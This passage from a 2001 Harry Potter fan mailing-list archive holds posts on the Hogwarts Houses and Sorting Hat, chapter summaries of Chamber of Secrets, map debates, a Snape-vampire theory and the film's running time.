is very thin -- aimed, methinks, at the kid audience, or perhaps the parent
using it as bedtime reading.

Quirky things -- 

* Ernie and Stan from the Knight Bus are named for JKR's grandfathers

* JKR loves Brewer's Dictionary of Phrase and Fable (and so do I!)

* JKR's love of weird place names comes from being born in Chipping Sodbury.
She has also lived in Wales (hence, possibly, Godric's Hollow).

* Her parents were married in Arbroath, which is the next stop on the
railway line north of Dundee in Scotland.

* The Flying Ford Anglia (no, not him, the car in the story :D) came from a
friend's old Ford Anglia and the fact that it saves Harry is a metaphor
(though not entirely purposefully, it seemed like) for the original car
saving JKR from boredom.

* Nicolson's cafe is/was owned by her brother-in-law, so she thought she'd
be welcome to write there.

I don't know whether these are on the Lexicon, but this certainly sounds
like a book Steve would be interested in! ::vbeg:: Something tells me there
are already eight annotated copies in the BCCS library :D

--John




From jferer at yahoo.com  Tue Sep 18 03:39:40 2001
From: jferer at yahoo.com (Jim Ferer)
Date: Tue, 18 Sep 2001 03:39:40 -0000
Subject: Only Slytherins Go Bad??
In-Reply-To: <20010917200821.86271.qmail@web20801.mail.yahoo.com>
Message-ID: <9o6fls+bt0j@eGroups.com>

No: HPFGUIDX 26247

Rowena:"That's what Hagrid says in SS, at a time when he thought 
Sirius Black was a DE, and of course we know that Peter Pettigrew 
really was, so - are they Slytherins?"

James Potter isn't a Slytherin, nor is Remus Lupin. Sirius could be, 
but it seems to go against what we see in canon: people tend to 
socialize in their own Houses.  OTOH, I have a hard time seeing 
Pettigrew as a Gryffindor.

Rowena:"But what about Sirius? According to Dumbledore 
resourcefullness, determination and a disregard for the rules were all 
traits Slytherin wanted in his pupils and Sirius certainly has those 
in spades...."

When Dumbledore said those worlds, he was telling Harry how Harry had 
those qualities Salazar Slytherin valued; so Harry may not be the only 
Gryffindor with those qualities. Also, we meet Sirius after twelve 
years of hard time, which was bound to darken his personality.

Painting Slytherin with the brush used on Voldemort seems eerily 
familiar this week, while police stand guard around mosques to protect 
Muslims from hate attacks. We've heard other prejudice against the 
Slytherins:

'Isn't it obvious all this stuff's coming from Slytherin? The Heir of 
Slytherin, the monster of Slytherin - why don't they just chuck all 
the Slytherins out?" he roared, to nods and scattered applause.'





From jheen at mmcable.com  Tue Sep 18 04:02:03 2001
From: jheen at mmcable.com (Genevieve Pratt)
Date: Mon, 17 Sep 2001 23:02:03 -0500
Subject: Discussion: Sorting Hat, Founders, and the Hogwarts Houses
Message-ID: <000001c13ff6$ae5a4220$e9d41a41@breev>

No: HPFGUIDX 26248

Because of the tragedy of last Tuesday, I had decided not to post this
at my normally scheduled time. I then spent my weekend for the most part
either working or just reassuring myself of life and only now am I
finally ready to post this. So, I hope you're ready to do some serious
(or not so serious as the case may be) discussion of the Sorting Hat,
Houses, and Founders plus the last 3 chapters of the Chamber of Secrets.
I apologize to Jana for usurping her discussion on the first chapter of
Philosopher's Stone and whoever is going to do the essay on Herbology
and History of Magic classes. 

So, without further ado, I present to you... my discussions. I've try to
keep them for the most part factual, but I know I've let my own personal
biases slipped through a few places.

The Sorting Hat

What house a first year student is placed in is entirely in the realm of
an old, beaten up talking pointy hat. When one considers it is been
around for centuries, it's actually looking rather good. Its entire
function thus far in the series is to sit around, come up with a song
for the beginning of the year, sort the students, and to hold one big
sword. Harry's had it on his head for a total of three times. Once, to
get sorted. Second, to question the Sorting Hat about his position in
Gryffindor. Third, to get Godric's sword. We've seen it one other time
for the Sorting in his fourth year. 

The Sorting Hat was also Godric Gryffindor's hat until they made it into
an artifact to help sort the students into their proper houses after
they were dead. They enchanted it to give it the ability to look into a
person's brain when on their head and to sing. It also was a holding
place for Godric's sword. It has a good sense of humor and a slight bias
against Slytherin, probably because it was Gryffindor's former cap.

Who are these people who made the Hat?

Professor Binns says they were the "greatest witches and wizards of the
age."(CoS) which according to the Sorting Hat was at least a thousand
years ago. They lived during a time of when the Church was gaining power
in Britain and being a witch or wizard would probably get you killed by
the government. 

Beyond that, we know almost nothing about the founders. They just seem
to have decided one day to get together and start up a school. The
Sorting Hat has this to say about them:

"Bold Gryffindor, from wild moor, 
Fair Ravenclaw, from glen, 
Sweet Hufflepuff, from valley broad, 
Shrewd Slytherin, from fen, 
They shared a wish, a hope, a dream, 
They hatched a daring plan 
To educate young sorcerers 
Thus Hogwarts School began." (GoF)

About every thing else we know is about Salazar Slytherin. He was a
Parselmouth who wasn't in favor of having Muggles in the school. When
none of the others would go along with him, he left the school. Before
that, though, he added the Chamber of Secrets to Hogwarts to contain the
basilisk and enchanted the entrance so that only someone speaking
Parseltongue could enter it. His last known descendent is Tom Riddle,
aka Voldemort. 

What are these Houses and what do they stand for?
	
As an American, I don't quite know what the purpose of houses is for;
they apparently seem to be a way to sort students with other students of
similar personalities to help facilitate learning and friendship. In our
story, we have four of them, one for each of the founders. They seem to
have their foundation in the fact that each of the Founders claimed for
themselves students with traits they like. 

Despite Harry's one romantic interest belong to the Ravenclaw House; we
really know the least about them and their members. Their colors are
blue and bronze and their mascot is an eagle. Their ghost is the Grey
Lady, of which we didn't even know her name until JKR told us in an
interview. They value intelligence and wisdom and the Sorting Hat says
this of them:

"Or yet in wise old Ravenclaw, 
If you've a ready mind, 
Where those of wit and learning, 
Will always find their kind;" (SS/PS)

"For Ravenclaw, the cleverest 
Would always be the best;" (GoF)

Since Harry doesn't apparently share any classes with them, we've really
only seen two Ravenclaws: Penelope Clearwater, Head Girl in Harry's
third year and Percy's girlfriend, and Cho Chang, Ravenclaw seeker, the
girl Harry likes, and Cedric Diggory's date to the Yule Ball. The few
glimpses we've seen of these two girls hasn't given us a lot of detail
on their personality, much less given us a good enough handle to help
extrapolate about their house.

The second least well known house is Hufflepuff. Their colors are yellow
and black and their animal is the badger. The Fat Friar is their ghost,
another one we've seen very little in the story. They are known for
their loyalty and fairness. The Sorting Hat has said this:

"You might belong in Hufflepuff, 
Where they are just and loyal, 
Those patient Hufflepuffs are true 
And unfraid of toil;" (SS/PS)

"For Hufflepuff, hard workers were 
Most worthy of admission;" (GoF)

While they don't have as evil a reputation as the Slytherins,
Hufflepuffs have almost as bad an image. Everyone seems to dump on them.
Draco Malfoy derides them and even Hagrid implies that they are just
only better than the Slytherins. Whatever the cause for this contempt,
the Hufflepuffs we know in the books do not support this. While they
were among the first to believe that Harry was the one who open the
Chamber of Secrets, they were also the only ones who apologize
afterwards. Cedric Diggory wanted to claim a rematch when Harry fell off
his broom in the Gryffindor/Hufflepuff match third year. He also gave
Harry a critical clue in the second task to repay the assistance Harry
gave him earlier and when given a chance to claim the prize for the
Tri-Wizard Tournament, he refused. More often than not, when we've seen
a Hufflepuff, they are doing something that isn't worth the flak they
get from everyone else.

Gryffindor's arch rivals and seemingly breeding ground for dark wizards,
Slytherin House is next on our list. The colors are green and silver and
their mascot is the snake, from Slytherin's ability to speak
Parseltongue. The Bloody Baron is their ghost and is the only one who
can control Peeves. Shrewdness, cunning, and ambition are what make a
Slytherin and the Sorting Hat sings thus:

"Or perhaps in Slytherin 
You'll make your real friends, 
Those cunning folks use any means 
To achieve their ends." (SS/PS)

"And power-hungry Slytherin 
Loved those of great ambition." (GoF)

As I noted above, Slytherins are considered almost an evil house by
everyone else. Hagrid makes the comment about how not a wizard has gone
bad that wasn't in Gryffindor (imho, an overgeneralization.) Draco thus
far has seemed to support this with his general nastiness, his delight
in other people's miseries, and desire to cause more suffering. Draco's
two goons, Vincent Crabbe and Gregory Goyle, seem to be painted in the
fashion of school yard bullies, with more brawn that brains. Severus
Snape, for all that he's on the good side, isn't one for a pleasant
disposition, fairness, or consideration of other people. Yet, in all
this negativity, we've seen Draco possibly warning Harry and Hermione in
the beginning of Goblet of Fire about keeping her away from the Death
Eaters. Snape has proven himself to Dumbledore and has turned away from
the Death Eaters. Also, the Slytherins are usually up in the top of the
list in school points and while that is probably at least attributed to
Snape's obvious favoritism of his house, if they were always acting up,
they would end up losing more points than they gain.

Gryffindor is the last house and is the one we're most familiar with
since it is Harry's own. Their colors are red and gold and the lion is
their animal. Their ghost is Nearly Headless Nick, who's been trying to
join the Headless Hunt for years. The Sorting Hat says:

"You might belong in Gryffindor, 
Where dwell the brave at heart, 
Their daring, nerve, and chivalry 
Set Gryffindors apart;" (PS/SS)

"By Gryffindor, the bravest were 
Prized far beyond the rest;"

Since the story is told from Harry's point of view, we've seen many
Gryffindors in various different situations. We go from bookish Hermione
to awkward Neville to pranksters George and Fred to perfectionist Percy.
Of the bunch of them, there doesn't seem to be a lot of reoccurring
traits. But many of them have shown their own unique bravery through out
the story; it's just never as flashy as the trio's. We all know of
Neville standing up to Harry, Hermione, and Ron in the first year, but
what of Percy's perseverance in the face of Fred's and George's taunts?
Or Ginny's ability to keep going after the Chamber of Secrets and being
able to even speak to Harry again? These small acts of bravery that
often go unnoticed that have always been the mark of a true Gryffindor. 

Discussion Questions:

1)	The classic question: (Did you really think we could have an
essay on Houses and not bring this up?) Slytherin House: evil or just
bad press? 

2)	What houses do you think some of the people belonged to when
they went to Hogwarts? Such as, what house produced batty ol' Trelawney
anyways? 

3)	How does the Sorting Hat sort? For example, what sort of process
does it use that ends up with Hermione in Gryffindor? (Disclaimer: I'm
not saying she should be elsewhere, but considering how she was in the
beginning of PS, I think she would have been happier at first in
Ravenclaw where being smart is cool and not in Gryffindor where she was
teased for being a know-it-all.)

4)	JKR has said there is more to the Sorting Hat than is apparent.
What sort of things do you think we'll see the Hat involved with?

5)	How important do you think is the fact that the Sorting Hat used
to be Godric Gryffindor's?

6)	Do you think we'll find out more about the Founders as the
series continues and what do you think we'll learn?

7)	What did Salazar Slytherin hope to accomplish with his building
of the Chamber of Secrets? Do you think the chamber had some other
purpose beyond having a giant creature available to kill Muggle born
wizards, perhaps to be used in defense of the school? 

8)	We haven't seen much of either Ravenclaw or Hufflepuff in the
first four books. Do you think they will end up playing a more important
role later?

9)	What do you think the reasons are for the colors and animals of
the different houses? You can choose to answer this either from JKR's
perspective (i.e. the mythological reasons) or from the Founders (like
Slytherin being a Parselmouth.)

10)	Do the other wizardly schools have houses or is this something
just with Hogwarts?

Well, I think that's enough questions, I already deleted a bunch of
questions because they were a bit silly. In case you were wondering,
this essay was brought to you by the letter X, the number 8, and the
color purple.

Seriously, I would like to thank Steve Vander Ark for the lexicon, Penny
Linsenmayer for the FAQ on the Hogwarts School, and Hella for her essay
on Hufflepuffs that she posted back in June. Their previous efforts made
this essay and discussion a lot easier and I'm indebted to them. 

Genevieve

P.S. I'm sending this around midnight, Eastern Standard Time. I don't
know when it'll arrive in your mailbox but hopefully some time soon.




From jheen at mmcable.com  Tue Sep 18 04:02:16 2001
From: jheen at mmcable.com (Genevieve Pratt)
Date: Mon, 17 Sep 2001 23:02:16 -0500
Subject: Summary: Chamber of Secrets, Chapter 16-18
Message-ID: <000101c13ff6$b5a293c0$e9d41a41@breev>

No: HPFGUIDX 26249

Chapter 16: Chamber of Secrets
	
Professor McGonagall announces in their first lesson, Transfiguration,
that exams will start a week from that day, the first of June. When
Seamus protests, she reminds them that Dumbledore wanted business as
usual while he was gone and that includes exams. Ron, of course, is not
looking forward to taking the tests with his wand spewing sparks while
Harry wonders exactly what did he learn of interest that year.

A few days later, Professor McGonagall makes another announcement, this
time at breakfast to the entire school. The Mandrakes were finally ready
for cutting and the Petrified students would be revived that evening.
Just about everyone cheers, although Harry does notice that Draco Malfoy
doesn't join in. Ron is happy that they never needed to ask Moaning
Myrtle about how she died since Hermione will be back. 

Ginny Weasley interrupts the two boys when she sits next to them, acting
very similar to Dobby. Harry and Ron try to get what is the matter out
of her, except when she was about to tell, Percy joins them and Ginny
leaves in a rush. Percy tells his brother and Harry that she was just
going to spill a secret that he had asked her not to tell. 

Harry still wanted to talk to Moaning Myrtle even though everyone might
come to back to life that night. So, on the way to their first lesson,
Harry and Ron convince Professor Lockhart to not bother escorting the
Gryffindors so they could escape and talk to Moaning Myrtle. On their
way to the girls' bathroom, Professor McGonagall spies them and demands
to know what they were doing wandering the hallways. Harry quickly comes
up with the explanation that they were on their way to see Hermione to
let her know the Mandrakes were about ready. This rather moves
McGonagall and she gives her permission to the pair to go visit their
friend.

Since they were now supposed to go up to the hospital wing, they make
their way towards that area. Madame Pompey isn't very happy to see them
but allows them to visit their friend. As they look over Hermione, Harry
notices that she has something tightly clutched in her hand. They pry it
out and discover it is a page from a book describing basilisks and it
has the word "pipes" written on it. Harry quickly pieces together that
the creature in the chamber was a basilisk and it was using the pipes to
get around the school. Everything starts to fall into place, including
why everyone was Petrified instead of dead and why all the roosters were
killed.

Excited that they've figured out everything, the two boys head down to
the staff room to tell Professor McGonagall. While they are waiting for
her to show up for break, they hear her voice directing the students to
their halls and the professors to the break room. Not wanting to leave,
they hide in a cloak closet. All the professors arrive, except Lockhart,
and McGonagall announces that Ginny Weasley had been taken into the
Chamber.  While she is explaining things, Lockhart shows up late and the
rest of the teachers appoint him the task of retrieving Ginny Weasley.
He leaves and McGonagall tells the Heads to explain to the students that
school will be closing the next day and they would be going home.

Ron and Harry go back to Gryffindor Tower where they sit with the twins
in a corner until the twins finally went up to their room. Ron spoke for
the first time since he found out, as he wondered what Ginny was going
to really tell them. Desperate to find his little sister, he convinces
Harry to go with him to tell Lockhart what they figured out earlier.
When they arrive, they find that Lockhart's stuff was just about packed
and he was about to leave, claiming an "urgent call." Understandably,
Harry and Ron are rather upset and when Lockhart starts talking about
casting Memory Charms on them, Harry disarms him and Ron throws the wand
out the window. They then march him down to the girls' bathroom.

Moaning Myrtle explains to them how she died and it just strengthens
Harry's hypothesis and also gives them the probably entrance to the
Chamber, a tap that's never worked. Harry commands it to open in
Parseltongue and the sink moves out of the way, exposing a large pipe.
Ron pushes Lockhart down the pipe and they quickly follow him. It takes
them deep underground and Ron figures they must be under the lake. They
follow the tunnel for a while; animal bones and a giant snake skin
decorating the walkway. 
Along the way, Lockhart tackles Ron and grabs Ron's Spell-o-Tape wand
away from him. However, when he attempts to do a Memory Charm, it
backfires on him and causes him to lose all memory and one small
explosion. When all the debris and dust finally settles, Ron and Harry
find themselves on opposite sides. Ron stays with Lockhart while Harry
continues on to see if he can find Ginny.

When he gets to the end of the tunnel, he finds a pair of entwined
snakes carved on a wall. He opens up the doorway by speaking in
Parseltongue and enters, shaking with fear.

Chapter 17: Heir to Slytherin

Looking around, he finds himself at one end of a dimly lit chamber.
Pulling out his wand, he walks forward carefully and starts looking for
both Ginny and the basilisk. He finds her collapse underneath a giant
statue of a wizard and rushes to her side, tossing his wand away. Trying
to get her to wake up, he's interrupted by Tom Riddle. Tom explains that
Ginny is alive, but just barely, and that he is just a memory preserved
in the diary. Harry tries to convince Tom to help him rescue Ginny, but
Tom ignores the request, instead twirling Harry's wand casually.

Frantic, Harry pleads with Tom to leave, warning him about the basilisk.
Tom finally speaks again, saying that it won't come unless it's called.
Harry doesn't understand and Tom comments how he's been looking forward
to talking to Harry for a long time. When Harry finally figures out that
Tom isn't going to go anywhere and that he seems rather self-possessed
for being in the middle of the Chamber of Secrets, he ask about Ginny.

Tom explains to Harry how Ginny started writing to him and how he used
to her to help open the Chamber of Secrets. He tells Harry about when
Ginny tried to rid herself of the diary when she started to figure
things out, which was when Harry found it. Tom tells Harry about how he
opened the Chamber up in his times and framed Hagrid for it and how he
wasn't trying to kill Muggle borns this time, but Harry. He was the one
who made Ginny write her farewell on the wall and come down to the
Chambers to lure Harry down.

When Harry asks why Tom cares so much about him, he finds out that Tom
Riddle is Voldemort. Harry tells Tom that Dumbledore is the greatest
wizard, not him, and how he was always scared of the professor. As Harry
defends Dumbledore; Fawkes, the phoenix, flies down, dropping the
Sorting Hat and landing on Harry's shoulders. Tom laughs at the pitiful
sight, taunting Harry about how that was all Dumbledore sent to save
him. 

Tom then demands to know why Harry survived while Voldemort lost his
powers. Knowing that time was running out for Ginny and seeing that the
ghostly image of Tom was starting to become more solid; Harry gives a
short explanation to satisfy Tom. Tom then calls forth the basilisk from
the statue, which is apparently of Salazar Slytherin. Harry backs up,
closing his eyes tight, and Fawkes flies off Harry's shoulders. Hearing
the basilisk heading his way, Harry starts to blinding run around the
chamber trying to escape it but he trips. Just as he thinks the basilisk
is about to get him, he hears a loud explosion above him and something
hits him. Unable to help himself, he cautiously opens his eyes and sees
that Fawkes had pierced the eyes of the basilisk.

The erratic motions of the giant serpent had dropped the Sorting Hat
into Harry's arms and he instinctively jammed in on his head, mentally
pleading for help. A giant sword appeared inside the hat, almost
knocking Harry unconscious. Tom is crying for the basilisk to attack
Harry instead of the bird. Harry manages to dodge the first attack, but
as he stabs into the roof of the mouth on second attack, the basilisk
pierces his arm with his poisoned fang. 

Harry falls to the ground, feeling the poison start to work through his
body. Tom comes over to mock Harry, remarking about how even
Dumbledore's bird knew since it was sitting there crying over the wound.
They both realize though at the same time that the phoenix's tears were
healing Harry and Tom scares away the bird. Just as Tom is about to
blast Harry, Fawkes drops the diary into Harry's lap and Harry quickly
pierces the diary on the basilisk fang next to him, causing Tom to
disappear.

Ginny finally starts to stir and Harry goes over to her. When she sees
him standing there covered in blood, she starts to cry, apologizing and
trying to explain. Harry comforts her and tells her Tom was dead. He
leads her back to where Ron had managed to make a decent size hole in
the rubble. After a short reunion, they moved back towards where they
arrived at. Grabbing a hold of Fawkes's tail feathers, they all are
flown to the top.

Moaning Myrtle is a bit surprised and sadden to see them. She had
thought that Harry would have made a nice companion to share the
bathroom with. Fawkes then led them to McGonagall's office.

Chapter 18: Dobby's Reward

The office contains Mr. and Mrs. Weasley, who quickly start to reassure
themselves that Ginny was alive, Professor McGonagall and Professor
Dumbledore. The Weasleys turn then to Harry, asking him how he had
managed to rescue her. He lays the sword, hat, and what was left of the
diary upon the desk and tells them the entire story. His only worry was
about Ginny, scared that they might expel her, but Dumbledore gives him
the opening by remarking how he was curious how Voldemort managed to
charm Ginny. Once he is done, they find out that the victims were about
to be waken and the Weasleys take Ginny away.

Professor McGonagall leaves the two boys to Dumbledore and he confers
upon them points and a special award for their actions. Dumbledore sends
Lockhart with Ron to the infirmary to see if anything could be done for
the backfired spell. Harry ask Dumbledore if he really was a lot like
Voldemort, especially the Hat wanted to put him in Slytherin at first
and he could speak Parseltongue. Dumbledore reminded Harry that he was
placed in Gryffindor and shows him that the sword was labeled with the
name of Godric Gryffindor, telling that only a true Gryffindor could
have pulled that from the hat.

Just as Harry was about to leave, Lucius Malfoy enters the room followed
by Dobby. Malfoy is rather upset that Dumbledore decided to come back
after being suspended, but Dumbledore explained that the other eleven
governors ask him to return when they heard about Ginny. Dumbledore
explains that the diary helped Voldemort open the chamber and Dobby
motions from the diary to Malfoy behind his master's back to Harry.
Harry steps up and accuses Malfoy of giving it to her back at Flourish
and Botts before the year began. Dumbledore recommends to Malfoy that he
not give away any more of Voldemort's old school stuff and Lucius Malfoy
storms out of the office.

Harry takes the diary and stuffs it into a sock he pulled off his foot.
Racing after them, he gives it to Malfoy. Malfoy pulls out the diary,
throwing the sock aside. Dobby catches the sock, enabling him to be
considered a free elf. When Malfoy starts to turn on Harry for costing
him his servant, Dobby magically tosses him down the stairs. Dobby then
thanks Harry and disappears.

Harry goes to the feast where everyone shows up in their pajamas. Exams
are canceled, Hagrid is released, and Hermione is back to normal, even
being dismayed over their called off tests. The rest of the term passed
by rather quickly and they soon found themselves heading back to London
on the Hogwarts Express. Ginny tells them that she saw Percy kissing the
Ravenclaw prefect, Penelope Clearwater. Harry gives his telephone number
to both Ron and Hermione, asking them to call and then heads off the
platform.


1)	While it turns out to be a godsend, why would anyone put a sword
in the Sorting Hat in the first place?

2)	At one point, Tom makes the comment that Harry was a lot like
him. Do you agree or is he entirely commenting on them both being
half-blood orphans?

3)	Tom seems rather disappointed that all it that protected Harry
was his mother's sacrifice, almost as if he thought it would be
something else. What could he be thinking, especially since he was
talking about their similarities at the same time?

4)	Do you think it ever becomes public knowledge exactly what
happened that year?

5)	A rather reoccurring idea is that from the statement Dumbledore
makes about Harry being a "true Gryffindor," Harry is somehow related to
Godric Gryffindor. What are your thoughts on this?

6)	We learn a lot about Voldemort in these few chapters. Did you
find anything that could possibly make him out to be a little more human
or does he still seem as pure evil as in book one?

Genevieve




From HPforGrownups at yahoogroups.com  Tue Sep 18 04:54:31 2001
From: HPforGrownups at yahoogroups.com (HPforGrownups at yahoogroups.com)
Date: 18 Sep 2001 04:54:31 -0000
Subject: New file uploaded to HPforGrownups 
Message-ID: <1000788871.11210.78122.hb@yahoogroups.com>

No: HPFGUIDX 26250


Hello,

This email message is a notification to let you know that
a file has been uploaded to the Files area of the HPforGrownups 
group.

  File        : /Group Members/Ron and Forge.JPG 
  Uploaded by : meckelburg at foni.net 
  Description : Ron and Forge, after they turned his Teddy into a spider! (Mecki's son Marten) 

You can access this file at the URL

http://groups.yahoo.com/group/HPforGrownups/files/Group%20Members/Ron%20and%20Forge.JPG 

To learn more about file sharing for your group, please visit

http://help.yahoo.com/help/us/groups/files

Regards,

meckelburg at foni.net
 







From vderark at bccs.org  Tue Sep 18 05:25:53 2001
From: vderark at bccs.org (Steve Vander Ark)
Date: Tue, 18 Sep 2001 05:25:53 -0000
Subject: Hogwarts map
In-Reply-To: <9o4r28+bod8@eGroups.com>
Message-ID: <9o6lt1+7t5m@eGroups.com>

No: HPFGUIDX 26251

--- In HPforGrownups at y..., norbertschade at m... wrote:

> With input mainly based on the flight of Ron and Harry in the car 
to 
> Hogwarts and when Harry and Hermione left the castle as time 
> travellers I think the forest is to the west,

The forest is clearly to the west. That's stated (the sun sets behind 
the forbidden forest in PA). I didn't find that reference until after 
I'd drawn that map, so it has to redone one of these days.

 the Womping Willow is 
> closer to the forest than Hagrid's hut

I can't agree with you there. The willow is said to be alone in the 
middle of the lawn, while Hagrid's hut is mentioned several times as 
being right next to the forest. 

 and I'm concerned about some 
> more details.
> Did I miss a piece of info? I'd like to know if this is discussed 
> somewhere else in detail, as I'm a map freak.

Yeah, me too. No, really.  :)

The maps in the Lexicon are not definitive--only JKR can say for sure 
where things are--but they do place landmarks in correct positions 
relative to each other. The map of the ground floor is a good 
example. While we know the relative positions of things like the 
doors to outside, the staircase, and the antechamber, we have no idea 
of the exact size of the room, whether the walls are flat or full of 
nooks and crannies, etc. When I drew the map I tried to make as few 
assumptions as possible, but when you're actually drawing lines and 
calling them walls, you HAVE to just draw them somehow and you end up 
guessing. Another example is the map of Diagon Alley. The relative 
positions of the shops are correct to some extent, but since they're 
mostly based on the order in which Harry and his friends visit them, 
the map is chock full of assumptions--who says they visited them in 
the order they appear on the street, for starters. The map isn't 
valueless, but it's important to understand its limitations.

Steve Vander Ark
Chief Cartographer - A Wizard's Atlas
The Harry Potter Lexicon
http://www.i2k.com/~svderark/lexicon







From lady.nymphaea at faerielands.com  Tue Sep 18 06:06:27 2001
From: lady.nymphaea at faerielands.com (lady.nymphaea at faerielands.com)
Date: Tue, 18 Sep 2001 06:06:27 -0000
Subject: Fangs for mentioning this/warning -vampire theory
In-Reply-To: <9o5s88+jkg@eGroups.com>
Message-ID: <9o6o93+uas4@eGroups.com>

No: HPFGUIDX 26252

> --- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> I'm reviving this old thread because I am wondering where to come  
> out on the Snape/vampire question.  Does this thread pretty much 
> sum up the arguments that Snape is really a vampire brewing a 
> potion to keep himself safe, or is there more to it?
> 
> Is there any evidence in canon that Snape ever comes out during 
> daylight?  I notice that in certain crucial scenes in GoF, he isn't 
> outside during the daytime (he is not present at the first task in 
> the afternoon, the second task in the morning, or the third task 
> after breakfast).  Also, I found the dialogue between Crouch/Moody 
> and Snape on the stairs very odd.  Snape says he can "prowl" the 
> castle, and Crouch/Moody tells him to "prowl away."  How weird!

Snape does come out during the daytime, but not during GoF...he's 
mentioned as attending Quidditch matches three times: twice during 
PS/SS, those being the matches where he is set afire by Hermione and 
then the match he referees; and once during PoA, the big 
Slytherin/Gryffindor match. The PoA passage definitely indicates it 
was a *sunny* day, as Oliver is worried about the light affecting 
Harry's ability to see the Snitch.

There's probably just enough evidence to indicate that Snape might be 
heat-sensitive; after all, during the first book he is inside on a 
very nice day in early summer and was trying to shoo the trio out of 
the building. Not to mention Hermione setting him on fire. He also 
spends a lot of time in a very cold basement. The Potions classroom 
is referred to as being very cold. All the Quidditch matches he 
attends are in the winter or early spring.

Meril
who pays entirely too much attention to what Snape is doing




From katzefan at yahoo.com  Tue Sep 18 06:38:32 2001
From: katzefan at yahoo.com (katzefan at yahoo.com)
Date: Tue, 18 Sep 2001 06:38:32 -0000
Subject: House Ghosts and The Grey Lady
In-Reply-To: <9o5cur+s821@eGroups.com>
Message-ID: <9o6q58+hur0@eGroups.com>

No: HPFGUIDX 26253

--- In HPforGrownups at y..., sluther at t... wrote:
> We know that the Bloody Barron belongs to Syltherin, Nearly 
>Headless Nick to Gryffindor and Fat Friar to Hufflepuff but I 
>cannot the references in Book 1 that introduce the Grey Lady 
>and Ravenclaw's ghost. Can anyone tell me the page numbers 
>or chapters where she is mentioned? I can't find them and all 
>four ghosts are pictured in the Vanity Fair issue that I just got. 
>Thanks, Sarah

I think I've read about this before, and IIRC, she's not specifically 
named as either the Grey Lady or the Ravenclaw ghost - which 
makes it even more fun to find her in the book.
If I'm right, in Ch. 12, The Mirror of Erised - page 154 in the 
Raincoast (Canadian) edition -  Harry and Ron are wandering 
around in the dark, under the invisibility cloak, trying to re-locate 
the classroom where Harry found the Mirror the first time, and 
they pass "the ghost of a tall witch gliding in the opposite 
direction". That's her.

********************

"What's comin' will come, an' we'll meet it when it does."
- Hagrid, GoF




From katzefan at yahoo.com  Tue Sep 18 07:02:02 2001
From: katzefan at yahoo.com (katzefan at yahoo.com)
Date: Tue, 18 Sep 2001 07:02:02 -0000
Subject: Fangs for mentioning this/warning -vampire theory
In-Reply-To: <9o5s88+jkg@eGroups.com>
Message-ID: <9o6rha+gbun@eGroups.com>

No: HPFGUIDX 26254

--- In HPforGrownups at y..., cynthiaanncoe at h... wrote:
> --- In HPforGrownups at y..., "Amy Z" <aiz24 at h...> wrote:
> > Monika the Snape fan wrote:
> > 
> > > The whole 
> > > Snape-is-a-vampire theory is based on one sentence only. 
> > >In PoA, Lupin says in front of Snape: "Harry, Ron, come with 
> > >me, I need a word about my vampire essay." But, the 
> > >vampire essay *was* the homework, Harry talked about it 
> > >with Neville! ...... 
> > Amy Z....
 
> 
> I'm reviving this old thread because I am wondering where to 
>come out  on the Snape/vampire question.  Does this thread 
>pretty much sum up the arguments that Snape is really a 
>vampire brewing a potion to keep himself safe, or is there more 
>to it?
> 
> Is there any evidence in canon that Snape ever comes out 
>during daylight?  I notice that in certain crucial scenes in GoF, 
>he isn't outside during the daytime (he is not present at the first 
>task in the afternoon, the second task in the morning, or the 
>third task after breakfast)......
> 
> Cindy (who would look younger if she never came out during 
the day)

In Book 1, Snape catches Harry outside 'during break' with the 
book Quidditch Through the Ages - this sounds like a break 
between classes, and I think the only night class they have that 
year is Astronomy, which they have every Wednesday at 
midnight.
And in Ch. 13, Snape is refereeing the Quidditch game, and JKR 
says Ron and Hermione wish him good luck outside the 
changing rooms in the afternoon  - there's no indication it's a 
night game (in fact, during Harry's first practice, they quit when it 
got too dark -- although I'm sure if they *did* have to play a night 
game, illumination could be provided easily enough.)
Also, folklore is not 100 per cent unanimous on whether a 
vampire  *must* avoid daylight; in some areas of the Balkans 
there are tales of vampires walking by day. Also, folklore also 
rarely indicates that daylight would actually do vampires any real 
harm - the disintegration-into-dust scenes seem to be more the 
result of Hollywood's touch.

Katzefan, at 3 a.m., who promised herself she would only glance 
through a *few* HP posts while trying to catch up....




From saitaina at wizzards.net  Tue Sep 18 07:20:28 2001
From: saitaina at wizzards.net (Saitaina)
Date: Tue, 18 Sep 2001 00:20:28 -0700
Subject: [HPforGrownups] Re: MOVIE: length of movie
References: <9o6d4v+2gar@eGroups.com>
Message-ID: <023901c14012$65977be0$964e28d1@oemcomputer>

No: HPFGUIDX 26255

Ooo, goody!  I was hoping I was wrong but I was going by current trends in children's movies...now I can do my happy dance and ignore the cats thinking I'm weird.  *happy dances out of the email*

Saitaina
*****
There were a surprising number of demons that glowed-in-the-dark. There were also a surprising number of demons named Bob. Xander didn't want to know why. -"Tiny Smiles", by Saber ShadowKitten, Buffy fanfic

"I kill mortals, I don't feed them," Death said with a hint of disgust. -"The Dark Cavalier", by Saber ShadowKitten, Buffy Fanfic

On a hellmouth, most of the time the demons killed the humans, demon hunters killed the demons, and a Collector stood around scratching his ass with his scythe. -"The Dark Cavalier", by Saber ShadowKitten, Buffy fanfiction


"Invisible, naked glowing people's opinions don't count," Xander mumbled, rounding the car to the passenger side. "Especially someone who is probably a figment of my concussed imagination." 
-Xander, "Cricket", by Saber ShadowKitten, Buffy Fanfiction
  ----- Original Message ----- 
  From: y_no_m at yahoo.com 
  To: HPforGrownups at yahoogroups.com 
  Sent: Monday, September 17, 2001 7:56 PM
  Subject: [HPforGrownups] Re: MOVIE: length of movie


  > I believe the DVD version will most likely be two to two an a half 
  hours long.  While this is not as long as most of us hopped it is 
  more then the hour and a half we'll most likely see in the theatre.  
  Plus adding all the special features it'll most likely round out to 
  four hours...but then again, I could be wrong. :)
  > Saitaina

  http://movies.yahoo.com/shop?d=hv&cf=info&id=1802813191

  2 hours and 22 minutes. For the theatre version I think. I hope it 
  is. 1 hour & 30 minutes would be too short.

  yen


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  ____________________________________________________________

  "I say to you all, once again--in the light of Lord Voldemort's return, we are only as strong as we are united, as weak as we are divided. 
  "Lord Voldemort's gift for spreading discord and enmity is very great.  We can fight it only by showing an equally strong bond of friendship and trust.  Differences of habit and language are nothing at all if our aims are identical and our hearts are open."

  You *can* help. Visit www.redcross.org for details.

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From saitaina at wizzards.net  Tue Sep 18 07:51:12 2001
From: saitaina at wizzards.net (Saitaina)
Date: Tue, 18 Sep 2001 00:51:12 -0700
